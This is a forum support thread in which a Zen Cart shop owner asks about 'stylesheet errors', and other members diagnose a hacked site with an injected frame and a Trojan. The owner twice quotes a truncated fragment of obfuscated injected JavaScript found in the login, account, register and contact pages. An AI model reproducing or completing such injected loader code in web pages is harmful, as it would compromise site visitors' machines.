Forums / Addon Templates / How to fix stylesheet errors? -PureGreen

How to fix stylesheet errors? -PureGreen

Started by centerstate on 14 Mar 2011, 5:17 AM · Views: 2,507

Results 1 to 14 of 14
14 Mar 2011, 5:17 AM
#1
centerstate avatar

centerstate

New Zenner

Join Date:
Mar 2011
Posts:
6
Plugin Contributions:
0

How to fix stylesheet errors? -PureGreen

I recently installed Zen Cart 1.3.9h and have been editing all of the files to prepare the site to go live. I have not yet added products and/or categories yet because I wanted to get the e-commerce site ready to go. Now that I made some changes to the text on pages and changed the template named "PureGreen Free Zen Cart template" from 12leaves.com I noticed that I am now getting an error message at the top of some pages.

The error message that I am getting is as follows:


0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS("#va","background:url(data:,String.fromCharCode)");var ucyq=null;var r=document.styleSheets;for(var i=0;i


I am getting this message on the following pages:

My Account
Login
Register
Contact Us

I found that the styleSheets error message appears even after changing the site template back to the original template (default) that came pre-installed with Zen Cart.

Can anyone please point me in the right direction to fix this?

Thanks.

14 Mar 2011, 9:30 AM
#2
kobra avatar

kobra

Black Belt

Join Date:
Aug 2005
Location:
Arizona
Posts:
31,500
Plugin Contributions:
4

Re: How to fix stylesheet errors? -PureGreen

What are you using to edit the files?

Zen-Venom Get Bitten

14 Mar 2011, 3:53 PM
#3
centerstate avatar

centerstate

New Zenner

Join Date:
Mar 2011
Posts:
6
Plugin Contributions:
0

Re: How to fix stylesheet errors? -PureGreen

I have been using Notepad after downloading the files to my computer. I have also used the built-in html / plain text editor online.

15 Mar 2011, 5:31 AM
#4
kobra avatar

kobra

Black Belt

Join Date:
Aug 2005
Location:
Arizona
Posts:
31,500
Plugin Contributions:
4

Re: How to fix stylesheet errors? -PureGreen

There is some mis editing happening
Seeing your site might help

Zen-Venom Get Bitten

17 Mar 2011, 5:32 AM
#5
centerstate avatar

centerstate

New Zenner

Join Date:
Mar 2011
Posts:
6
Plugin Contributions:
0

Re: How to fix stylesheet errors? -PureGreen

Thank you for willing to look at the site. The URL is:

www.cocolamuscreek.com/shop/

17 Mar 2011, 10:03 AM
#6
stevesh avatar

stevesh

Black Belt

Join Date:
Feb 2005
Location:
Lansing, Michigan USA
Posts:
19,793
Plugin Contributions:
2

Re: How to fix stylesheet errors? -PureGreen

Look at the source code of any page of your site. What is all that stuff in the body ? Did you put it there ?

17 Mar 2011, 10:43 AM
#7
misty avatar

misty

Inactive

Join Date:
Apr 2004
Location:
UK
Posts:
5,752
Plugin Contributions:
1

Re: How to fix stylesheet errors? -PureGreen

NOTE: Avast Anti Virus BLOCKED access to website..
Reason given...Trojan Horse present

Dezina ZenCart Templates
Please do not PM for support queries..Post in forums..help others

17 Mar 2011, 11:50 AM
#8
kobra avatar

kobra

Black Belt

Join Date:
Aug 2005
Location:
Arizona
Posts:
31,500
Plugin Contributions:
4

Re: How to fix stylesheet errors? -PureGreen

Clean your access station

A free service
http://housecall.trendmicro.com/

Zen-Venom Get Bitten

18 Mar 2011, 3:11 AM
#9
centerstate avatar

centerstate

New Zenner

Join Date:
Mar 2011
Posts:
6
Plugin Contributions:
0

Re: How to fix stylesheet errors? -PureGreen

misty:

NOTE: Avast Anti Virus BLOCKED access to website..
Reason given...Trojan Horse present

That is odd that it gave a message about blocked access. I am using Firefox 3.6 and Internet Explorer 9 and have not received any messages.

Prior to setting up Zen-Cart, there was a installation of osCommerce which got hacked and while we were working on cleaning the site up we got notified that the osCommerce directory needed to be completely removed including databases. I then removed osCommerce and all SQL databases, but google still believes the site is hacked. We have verified with engineers that the site is clean and is no longer a risk/threat. We will not be returning to osCommerce and plan to only use Zen-Cart.

I am currently working with Google to unblock the site (domain) in their systems.

18 Mar 2011, 3:18 AM
#10
centerstate avatar

centerstate

New Zenner

Join Date:
Mar 2011
Posts:
6
Plugin Contributions:
0

Re: How to fix stylesheet errors? -PureGreen

stevesh:

Look at the source code of any page of your site. What is all that stuff in the body ? Did you put it there ?

Thank you for your post. I reviewed the text and it was in there after installing Zen-Cart. I un-installed and then re-installed the Zen-Cart software and set up a template from "zenflavor.com".

It appears that long strand of code only appears in the files which I named above in my post that are getting the error message of:

0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,declaration);}};createCSS("#va","background:url(data:,String.fromCharCode)");var my=null;var r=document.styleSheets;for(var i=0;i

Do you have any suggestions on how to fix this?

18 Mar 2011, 3:30 AM
#11
dbltoe avatar

dbltoe

Totally Zenned

Join Date:
Jan 2004
Location:
N of San Antonio TX
Posts:
9,897
Plugin Contributions:
21

Re: How to fix stylesheet errors? -PureGreen

You need to go to the main page and click on "CLICK HERE - Recovering from Hacks."
You have a frame on your login that is hijacking visitors and probably installing malware.
:no:

Need a hand with Zen Cart? Hire the team at myZenCartZone.com for upgrades, repairs, and custom plugins.
Zen Cart Certified hosting at myZenCartHost.com

18 Mar 2011, 3:53 AM
#12
kobra avatar

kobra

Black Belt

Join Date:
Aug 2005
Location:
Arizona
Posts:
31,500
Plugin Contributions:
4

Re: How to fix stylesheet errors? -PureGreen

Do you have any suggestions on how to fix this?
Determine the source

If zenflavor or if form your possibly infected local pc

The okd addage "garbage In - - garbage Out" holds here

It is not in the sanctioned ZenCart distribution

Zen-Venom Get Bitten

18 Mar 2011, 5:38 AM
#13
centerstate avatar

centerstate

New Zenner

Join Date:
Mar 2011
Posts:
6
Plugin Contributions:
0

Re: How to fix stylesheet errors? -PureGreen

dbltoe:

You need to go to the main page and click on "CLICK HERE - Recovering from Hacks."
You have a frame on your login that is hijacking visitors and probably installing malware.
:no:

Thank You! I think I will delete it and go with an expensive shopping cart software program versus using an open-source application.

18 Mar 2011, 8:18 AM
#14
gjh42 avatar

gjh42

Black Belt

Join Date:
Jul 2005
Location:
Upstate NY
Posts:
21,874
Plugin Contributions:
8

Re: How to fix stylesheet errors? -PureGreen

Make sure your server (and your pc) is completely clean before you do, or the hacker may have access to that expensive system just as it did with Zen Cart when you installed it. Being a paid "expensive" system does not necessarily give immunity from all hacks.